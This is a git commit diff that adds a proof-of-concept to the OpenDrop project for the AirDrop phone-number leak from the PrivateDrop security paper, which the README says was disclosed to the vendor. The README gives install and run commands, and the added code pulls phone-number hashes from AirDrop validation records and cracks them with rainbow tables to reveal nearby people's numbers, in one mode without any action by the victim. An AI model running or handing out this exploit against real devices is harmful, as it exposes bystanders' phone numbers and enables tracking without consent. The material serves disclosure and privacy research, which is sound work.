Add PoC for AirDrop's phone number leak

.gitmodules

@@ -0,0 +1,3 @@
+[submodule "rt_phone_numbers"]
+	path = rt_phone_numbers
+	url = https://github.com/contact-discovery/rt_phone_numbers.git

README.PoC.md

@@ -0,0 +1,80 @@
+# PoC: AirDrop Phone Number Leak
+
+This PoC demonstrates the contact identifier leakage in Apple AirDrop that was described in
+
+* **[HHSSW21]** Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop** in _30th USENIX Security Symposium_. [Website](https://privatedrop.github.io). [Preprint](https://www.usenix.org/system/files/sec21fall-heinrich.pdf).
+
+The paper also proposes a privacy-preserving drop-in replacement for Apple AirDrop.
+
+**We notified Apple about this vulnerability on May 11, 2019. Until today, Apple has neither mitigated the issue nor informed us that they are planning to do so.
+This means that current Apple systems are still vulnerable (iOS 14.5 and macOS 11.3 as of May 5, 2021).**
+
+## Installation
+
+Run the following instructions on a Mac (tested with macOS 11.2.3).
+
+1. Checkout the repository.
+
+```bash
+git clone https://github.com/seemoo-lab/opendrop.git
+cd opendrop
+git checkout poc-phonenumber-leak
+git submodule update --init
+```
+
+2. Install Python dependencies.
+
+```bash
+pip3 install -r requirements.txt
+```
+
+3. Build [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers).
+
+```bash
+brew install libomp
+cd rt_phone_numbers
+make -f Makefile.macOS
+cd ..
+```
+
+## Usage
+
+Our PoC is able to exploit both vulnerabilities explained in [HHSSW21]. We provide usage instructions below. 
+
+**Disclaimer:** We omit precomputed rainbow tables generated with [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers)'s `rtgen` in this PoC.
+Consequently, you will see the following message when running this PoC without modification: _"Could not recover hashed phone number: No rainbow tables provided."_ 
+
+### Contact Identifier Leakage of Sender (§3.3 in [HHSSW21])
+
+Simply run the following and wait for someone in proximity to open the AirDrop sharing menu.
+
+```bash
+python3 -m opendrop receive
+```
+
+An example output would look like this:
+
+```
+Announcing service: host opendrop, address fe80::c8b9:fbff:fee9:d544, port 8771
+Starting HTTPS server
+Nearby phone number: +49<...>
+```
+
+### Contact Identifier Leakage of Receiver (§3.4 in [HHSSW21])
+
+Exploiting this vulnerability requires the victim to have the attacker in their address book. 
+In particular, the attacker needs to present a valid AirDrop certificate containing its contact identifiers to the victim.
+You can follow [these instructions](https://github.com/seemoo-lab/airdrop-keychain-extractor) to extract your current AirDrop certificate and use it with OpenDrop.
+This attack does not require any interaction on part of the victim. Simply run:
+
+```bash
+python3 -m opendrop find
+```
+
+An example output would look like this:
+
+```
+Looking for receivers. Press Ctrl+C to stop ...
+Nearby phone number: +49<...>
+Found  index 0  ID a019b536c38b  name John Doe's iPhone
+```

README.md

@@ -52,7 +52,7 @@ pip3 install ./opendrop
 We briefly explain how to send and receive files using `opendrop`.
 To see all command line options, run `opendrop -h`.
 
-### Sending a File or a Link
+### Sending a File
 
 Sending a file is typically a two-step procedure. You first discover devices in proximity using the `find` command.
 Stop the process once you have found the receiver.
@@ -62,7 +62,7 @@ Looking for receivers. Press Ctrl+C to stop ...
 Found  index 0  ID eccb2f2dcfe7  name John’s iPhone
 Found  index 1  ID e63138ac6ba8  name Jane’s MacBook Pro
 ```
-You can then `send` a file (or link, see below) using 
+You can then `send` a file using 
 ```
 $ opendrop send -r 0 -f /path/to/some/file
 Asking receiver to accept ...
@@ -73,13 +73,6 @@ Uploading has been successful
 Instead of the `index`, you can also use `ID` or `name`.
 OpenDrop will try to interpret the input in the order (1) `index`, (2) `ID`, and (3) `name` and fail if no match was found.
 
-**Sending a web link.** Since v0.13, OpenDrop supports sending web links, i.e., URLs, so that receiving Apple devices will immediately open their browser upon accepting. 
-(Note that OpenDrop _receivers_ still only support receiving regular files.)
-
-```
-$ opendrop send -r 0 -f https://owlink.org --url
-```
-
 ### Receiving Files
 
 Receiving is much easier. Simply use the `receive` command. OpenDrop will accept all incoming files automatically and put received files in the current directory.
@@ -101,8 +94,7 @@ OpenDrop is the result of a research project and, thus, has several limitations
 
 ## Our Papers
 
-* Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop.** *30th USENIX Security Symposium (USENIX Security ’21)*, August 14–16, 2019, virtual Event. [Paper](https://www.usenix.org/conference/usenixsecurity21/presentation/heinrich) [Website](https://privatedrop.github.io) [Code](https://github.com/seemoo-lab/privatedrop)
-* Milan Stute, Sashank Narain, Alex Mariotto, Alexander Heinrich, David Kreitschmann, Guevara Noubir, and Matthias Hollick. **A Billion Open Interfaces for Eve and Mallory: MitM, DoS, and Tracking Attacks on iOS and macOS Through Apple Wireless Direct Link.** *28th USENIX Security Symposium (USENIX Security ’19)*, August 14–16, 2019, Santa Clara, CA, USA. [Paper](https://www.usenix.org/conference/usenixsecurity19/presentation/stute)
+* Milan Stute, Sashank Narain, Alex Mariotto, Alexander Heinrich, David Kreitschmann, Guevara Noubir, and Matthias Hollick. **A Billion Open Interfaces for Eve and Mallory: MitM, DoS, and Tracking Attacks on iOS and macOS Through Apple Wireless Direct Link.** *28th USENIX Security Symposium (USENIX Security ’19)*, August 14–16, 2019, Santa Clara, CA, USA. [Link](https://www.usenix.org/conference/usenixsecurity19/presentation/stute)
 
 
 ## Authors

opendrop/__init__.py

@@ -21,7 +21,7 @@ import logging
 import os
 import platform
 
-__version__ = "0.13.0"
+__version__ = "0.12.3"
 
 if platform.system() == "Darwin":
     dyld_path = os.environ.get("DYLD_LIBRARY_PATH", "")  # save old path

opendrop/cli.py

@@ -41,9 +41,6 @@ class AirDropCli:
         parser = argparse.ArgumentParser()
         parser.add_argument("action", choices=["receive", "find", "send"])
         parser.add_argument("-f", "--file", help="File to be sent")
-        parser.add_argument(
-            "-u", "--url", help="'-f,--file is a URL", action="store_true"
-        )
         parser.add_argument(
             "-r",
             "--receiver",
@@ -102,10 +99,9 @@ class AirDropCli:
             else:  # args.action == 'send'
                 if args.file is None:
                     parser.error("Need -f,--file when using send")
-                if not os.path.isfile(args.file) and not args.url:
+                if not os.path.isfile(args.file):
                     parser.error("File in -f,--file not found")
                 self.file = args.file
-                self.is_url = args.url
                 if args.receiver is None:
                     parser.error("Need -r,--receiver when using send")
                 self.receiver = args.receiver
@@ -188,12 +184,12 @@ class AirDropCli:
             return
         self.client = AirDropClient(self.config, (info["address"], info["port"]))
         logger.info("Asking receiver to accept ...")
-        if not self.client.send_ask(self.file, is_url=self.is_url):
+        if not self.client.send_ask(self.file):
             logger.warning("Receiver declined")
             return
         logger.info("Receiver accepted")
         logger.info("Uploading file ...")
-        if not self.client.send_upload(self.file, is_url=self.is_url):
+        if not self.client.send_upload(self.file):
             logger.warning("Uploading has failed")
             return
         logger.info("Uploading has been successful")

opendrop/client.py

@@ -141,10 +141,15 @@ class AirDropClient:
         _, response_bytes = self.send_POST("/Discover", discover_plist_binary)
         response = plistlib.loads(response_bytes)
 
+        # Extract and lookup phone number hashes from validation record
+        validation_record = response["ReceiverRecordData"]
+        hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
+        AirDropUtil.lookup_phone_hashes(hashes)
+
         # if name is returned, then receiver is discoverable
         return response.get("ReceiverComputerName")
 
-    def send_ask(self, file_path, is_url=False, icon=None):
+    def send_ask(self, file_path, icon=None):
         ask_body = {
             "SenderComputerName": self.config.computer_name,
             "BundleID": "com.apple.finder",
@@ -155,6 +160,18 @@ class AirDropClient:
         if self.config.record_data:
             ask_body["SenderRecordData"] = self.config.record_data
 
+        if isinstance(file_path, str):
+            file_path = [file_path]
+
+        # generate icon for first file
+        with open(file_path[0], "rb") as f:
+            file_header = f.read(128)
+            flp = fleep.get(file_header)
+            if not icon and len(flp.mime) > 0 and "image" in flp.mime[0]:
+                icon = AirDropUtil.generate_file_icon(f.name)
+        if icon:
+            ask_body["FileIcon"] = icon
+
         def file_entries(files):
             for file in files:
                 file_name = os.path.basename(file)
@@ -167,20 +184,8 @@ class AirDropClient:
                 }
                 yield file_entry
 
-        if isinstance(file_path, str):
-            file_path = [file_path]
-        if is_url:
-            ask_body["Items"] = file_path
-        else:
-            # generate icon for first file
-            with open(file_path[0], "rb") as f:
-                file_header = f.read(128)
-                flp = fleep.get(file_header)
-                if not icon and len(flp.mime) > 0 and "image" in flp.mime[0]:
-                    icon = AirDropUtil.generate_file_icon(f.name)
-            ask_body["Files"] = [e for e in file_entries(file_path)]
-        if icon:
-            ask_body["FileIcon"] = icon
+        ask_body["Files"] = [e for e in file_entries(file_path)]
+        ask_body["Items"] = []
 
         ask_binary = plistlib.dumps(
             ask_body, fmt=plistlib.FMT_BINARY  # pylint: disable=no-member
@@ -189,14 +194,10 @@ class AirDropClient:
 
         return success
 
-    def send_upload(self, file_path, is_url=False):
+    def send_upload(self, file_path):
         """
         Send a file to a receiver.
         """
-        # Don't send an upload request if we just sent a link
-        if is_url:
-            return
-
         headers = {
             "Content-Type": "application/x-cpio",
         }

opendrop/server.py

@@ -170,6 +170,12 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
             self.config, post_data, "receive_discover_request.plist"
         )
 
+        # Extract and lookup phone number hashes from validation record
+        discover_request = plistlib.loads(post_data)
+        validation_record = discover_request["SenderRecordData"]
+        hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
+        AirDropUtil.lookup_phone_hashes(hashes)
+
         # sample media capabilities as recorded from macOS 10.13.3
         media_capabilities = {
             "Version": 1,

opendrop/util.py

@@ -17,11 +17,15 @@ You should have received a copy of the GNU General Public License
 along with this program.  If not, see <https://www.gnu.org/licenses/>.
 """
 
+import glob
 import io
 import ipaddress
 import os
+import plistlib
+import subprocess
 
 import ifaddr
+from ctypescrypto import cms
 from libarchive.entry import ArchiveEntry, new_archive_entry
 from libarchive.ffi import (  # pylint: disable=no-name-in-module
     ARCHIVE_EOF,
@@ -168,6 +172,45 @@ class AirDropUtil:
             else:  # assume bytes-like
                 file.write(data)
 
+    @staticmethod
+    def get_hashes_from_validation_record(validation_record):
+        data = cms.CMS(validation_record, format="DER").data
+        data = plistlib.loads(data.encode())
+        phone_hashes = data["ValidatedPhoneHashes"]
+        return phone_hashes
+
+    @staticmethod
+    def lookup_phone_hashes(hashes):
+        for hash_ in hashes:
+            AirDropUtil.lookup_phone_hash(hash_)
+
+    @staticmethod
+    def lookup_phone_hash(hash_):
+        rcrack_dir = os.path.join(
+            os.path.dirname(os.path.realpath(__file__)), "../rt_phone_numbers/bin"
+        )
+        rcrack_bin = os.path.join(rcrack_dir, "rcrack")
+        rcrack_table = ""
+        rcrack_tables = glob.glob(rcrack_table)
+
+        if len(rcrack_tables) == 0:
+            print("Could not recover hashed phone number: No rainbow tables provided.")
+            return
+
+        result = subprocess.run(
+            [rcrack_bin] + rcrack_tables + ["-h", hash_],
+            text=True,
+            cwd=rcrack_dir,
+            capture_output=True,
+            check=True,
+        )
+
+        for line in result.stdout.splitlines():
+            if not line.startswith("plaintext of"):
+                continue
+            number = line.split("is")[1].strip()
+            print(f"Nearby phone number: +{number}")
+
 
 class AbsArchiveWrite(ArchiveWrite):
     def add_abs_file(self, path, store_path):

requirements.txt

@@ -0,0 +1,8 @@
+Pillow
+ctypescrypto
+fleep
+ifaddr
+libarchive-c
+requests
+requests_toolbelt
+zeroconf>=0.24.2

setup.py

@@ -37,6 +37,7 @@ setup(
     package_data={"opendrop": ["certs/*.pem"]},
     install_requires=[
         "Pillow",
+        "ctypescrypto",
         "fleep",
         "ifaddr",
         "libarchive-c",